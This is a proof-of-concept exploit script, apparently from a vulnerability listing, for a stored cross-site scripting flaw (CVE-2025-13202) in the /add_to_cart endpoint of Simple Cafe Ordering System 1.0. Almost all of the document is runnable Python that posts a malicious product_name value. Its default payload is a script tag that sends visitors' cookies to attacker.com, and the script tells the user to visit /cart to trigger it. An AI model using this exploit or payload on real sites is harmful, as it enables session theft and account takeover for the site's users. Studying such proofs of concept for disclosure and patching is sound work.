CVE-2025-13202 Simple Cafe Ordering System 1.0 /add_to_cart XSS漏洞

import requests import argparse # CVE-2025-13202 PoC - Stored XSS in Simple Cafe Ordering System 1.0 # Target: /add_to_cart endpoint with product_name parameter def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in product_name parameter """ # XSS payload - steals cookie xss_payload = f'<script>fetch("http://attacker.com/steal?c="+document.cookie)</script>' # Target endpoint endpoint = f"{target_url}/add_to_cart" # Request data data = { 'product_name': payload if payload else xss_payload, 'quantity': '1' } try: # Send POST request to add product with XSS payload response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully!") print(f"[+] Payload: {payload}") print(f"[+] Visit: {target_url}/cart to trigger XSS") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-13202 PoC') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-p', '--payload', help='Custom XSS payload') args = parser.parse_args() exploit_xss(args.url, args.payload)